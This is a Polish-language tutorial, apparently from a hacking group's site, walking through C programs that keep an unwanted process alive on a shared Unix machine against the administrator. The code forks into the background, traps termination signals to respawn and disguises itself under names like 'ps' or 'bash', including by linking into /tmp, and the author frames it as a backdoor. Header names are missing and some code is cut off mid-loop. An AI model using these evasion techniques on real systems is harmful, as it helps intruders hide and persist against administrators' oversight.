Czasami może zaistnieć sytuacja, w której chcielibysmy uruchomić program na jakiejś maszynie, który chodziłby jak najdluzej i nie rzucał się w oczy (backdoor?;)... Zwykły user może pobawić się trochę z adminem przypominając tym samym walkę Dawida z Goliatem, jednak w każdej chwili Goliat może zadać śmiertelny cios i po zabawie... Można to mu oczywiście utrudnić... Przpyatrzmy się więc następującemu programowi: ---hello.c--- #include #include int main() { /* tu się zaczyna nasz program */ printf("hello, world...\n"); if(fork()) exit(0); while(1); } ---hello.c--- Jak widać program po uruchomieniu wita się, następnie przechodzi w tło i czeka w nieskończonej pętli... Kompilujemy go 'gcc hello.c', następnie uruchamiamy ./a.out, admin widzi, że program podejrzanie długo [przypuscmy;] chodzi, wiec pisze np. killall a.out czy kill pid i program znika z listy procesów just like that... ale zaraz domyślnie kill, killall i takie tam inne gadżety wysylaja sygnał TERM, który możemy przecież przechwycić (możemy przechwycić wszystkie sygnały oprócz KILL(9) i STOP(19)), tym samym nasz program można troszkę uodpornić... Pomocne będą nam następujące funkcje: sigaction - zmienia akcję wykonywaną po otrzymaniu danego sygnału; sigprocmask - zmienia listę aktualnie blokowanych sygnałów; sigfillset - zapisuje w podanej zmiennej pełną listę sygnałow; sigdelset - kasuje dany sygnał z listy; Możemy więc przystąpić do pisania drugiej wersji programu: ---hello2.c--- #include #include #include int main() { struct sigaction act; sigset_t set; void catchsig(int sig) { if(fork()) exit(0); } sigfillset(&set); /* tworzymy pełną listę sygnałów w zmiennej set */ sigdelset(&set, SIGINT); /* usuwamy z niej te trzy sygnały, */ sigdelset(&set, SIGQUIT); /* gdyż będą nam potrzebne */ sigdelset(&set, SIGTERM); /* później :) */ sigprocmask(SIG_SETMASK, &set, NULL); /* ustawiamy blokadę na sygnały znajduące się w zmiennej set */ act.sa_handler=catchsig; sigaction(SIGINT, &act, NULL); /* teraz po otrzymaniu któregoś z tych */ sigaction(SIGQUIT, &act, NULL); /* sygnałow zostanie wykonana funkcja */ sigaction(SIGTERM, &act, NULL); /* catchsig czyli fork i exit*/ /* tu się zaczyna nasz program... */ printf("hello, world...\n"); if(fork()) exit(0); while(1); } ---hello2.c--- Skompilujmy program, uruchommy go, napiszmy ps, zabijmy proces, napiszmy ps, zabijmy proces, napiszmy ps itd... Widzimy, że (o ile nie zostanie wysłany sygnał KILL) program po każdej próbie zabicia odradza sie na nowo. O to nam właśnie chodziło... Jednak program cały czas widznieje na liście procesów pod tą samą nazwą... Trzeba to zmienić - napiszemy więc funkcje, która będzie zmieniała nazwę procesu (argv[0]) po próbie zabicia go na losowo wybraną z podanej tablicy. Powstanie tak program hello3.c :) ---hello3.c--- #include #include #include #include #include #include char *fakenames[]={ "ps", "ls", "mail", "sh", "bash", "less", "man bash", "NULL" }; char *givenewname(char **names) { int i, n, m; for(i=0;names[i]!=NULL;i++) ; m=(int)time((time_t)NULL); srand(m); n=random()%(i-1); return(names[n]); } int main(int argc, char **argv) { struct sigaction act; sigset_t set; void catchsig(int sig) { int i; for(i=0;i #include #include #include #include #include #include #include #include #include char *fakenames[]={ "/tmp/ps", "/tmp/ls", "/tmp/mail", "/tmp/sh", "/tmp/bash", "/tmp/less", "/tmp/man", "tmp/ps", "NULL" }; int getrealname(char *name, pid_t pid) { char exe[512]; sprintf(exe, "/proc/%d/exe", pid); return (readlink(exe, name, 512)); } char *givenewname(char **names) { int i, n, m; for(i=0;names[i]!=NULL;i++) ; m=(int)time((time_t)NULL); srand(m); n=random()%(i-1); return (names[n]); } int main(int argc, char **argv) { struct sigaction act; sigset_t set; static char realname[512]; int a; void catchsig(int sig) { int ok=0; char *newpatch, *shortname, tmppatch[64]; newpatch=givenewname(fakenames); shortname=strrchr(newpatch, '/'); shortname++; sprintf(tmppatch, "%s.orygin", newpatch); if(!access(newpatch, F_OK) && access(newpatch, W_OK)) ok=-1; else { rename(newpatch, tmppatch); link(realname, newpatch); } if(!fork()) { printf("child starting %s\n", newpatch); execl((!ok)?newpatch:realname, shortname, realname, NULL); } else { sleep(1); if(ok) exit(0); unlink(newpatch); rename(tmppatch, newpatch); exit(0); } } chdir("/"); if(argc>1) { if(strlen(argv[1])>512) { printf("buffer overflow test ;>\n"); exit(1); } strcpy(realname, argv[1]); } else getrealname(realname, getpid()); for(a=1; a http://drg.cyberx-squad.org